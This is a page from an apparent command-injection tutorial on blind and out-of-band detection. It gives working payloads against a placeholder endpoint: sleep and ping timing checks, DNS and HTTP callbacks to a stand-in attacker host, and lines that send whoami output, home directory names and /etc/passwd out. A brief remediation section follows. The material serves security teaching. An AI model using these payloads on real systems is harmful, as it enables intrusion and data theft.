OS Command Injection: The Complete Practical Guide

Blind and Out-of-Band Command Injection

How to detect command injection with no visible output: time-based delays, DNS and HTTP out-of-band callbacks, and exfiltrating command output through them.

Published

Most real command injection is blind: the command runs but its output never appears in the response. That does not stop you, it just changes how you confirm and how you extract data. This page covers time-based detection, out-of-band DNS and HTTP callbacks, and carrying command output through those channels. Practice on a free live target.

Why blind happens

The feature may discard the command's output, run it asynchronously, or only report success or failure. You cannot read the result in the page, so you need a side channel: either time (make the server wait) or an outbound request (make the server call you).

Step 1: prove execution with a time delay

Inject a command that pauses, and measure the response time. If the response is delayed by your chosen amount, the command ran:

POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1;sleep 5
HTTP/1.1 200 OK
Content-Type: text/plain
# ... response arrives about 5 seconds later than the baseline ...
 
OK

Compare against a baseline request with no delay. A consistent five-second gap confirms execution. Variants when sleep is awkward or filtered:

host=127.0.0.1;ping -c 6 127.0.0.1     # ~5s: six pings, five one-second gaps
host=127.0.0.1 && sleep 5              # delay only if the first command succeeds
host=notahost || sleep 5               # delay only if the first command fails

Gate the delay behind a condition (; [ $(whoami) = root ] && sleep 5) to turn timing into a yes-or-no oracle for extracting data one answer at a time.

Step 2: open an out-of-band channel

Timing is slow. If the server can reach the network, make it call a listener you control. A DNS lookup is the most reliable, because DNS often escapes networks that block outbound HTTP:

POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1;nslookup probe.attacker.oast

A lookup for probe.attacker.oast arriving at your authoritative name server (or an interaction-capture service) confirms execution. An HTTP callback works the same way when egress allows it:

host=127.0.0.1;curl http://attacker.oast/hit

Step 3: exfiltrate output through the channel

The powerful part: carry command output inside the callback. Command substitution runs your command and splices its output into the hostname or URL, so the data arrives at your listener:

# DNS: the output of whoami becomes a subdomain label in the lookup
host=127.0.0.1;nslookup $(whoami).attacker.oast
# your DNS logs show:  www-data.attacker.oast
 
# HTTP: the output lands in the request path
host=127.0.0.1;curl http://attacker.oast/$(whoami)
 
# larger data: base64 it first to survive hostname/URL rules
host=127.0.0.1;curl --data-binary @/etc/passwd http://attacker.oast/
host=127.0.0.1;ls /home | while read u; do nslookup $u.attacker.oast; done

Base64-encode anything with characters that are not DNS or URL safe, and loop over lists to exfiltrate them entry by entry. Even with zero reflected output, the data comes to you.

When only DNS gets out

If HTTP callbacks never arrive but DNS lookups do, the network is filtering outbound HTTP while permitting DNS. Commit to the DNS channel: confirm with a plain lookup, then exfiltrate by packing base64url-safe output into subdomain labels, splitting across multiple lookups if a label exceeds the length limit.

Fixing it

  • Do not pass input to a shell (execFile / subprocess.run([...], shell=False)), which removes the injection that timing and callbacks rely on.
  • Egress-filter the worker, including DNS, so even a successful injection has no channel to confirm through or exfiltrate over.
  • Allow-list the input rather than blacklisting characters.

Full guidance is in preventing command injection. Next, get past input filters in filter and blacklist bypass, or try a blind injection on a free lab.

← Back to OS Command Injection: The Complete Practical Guide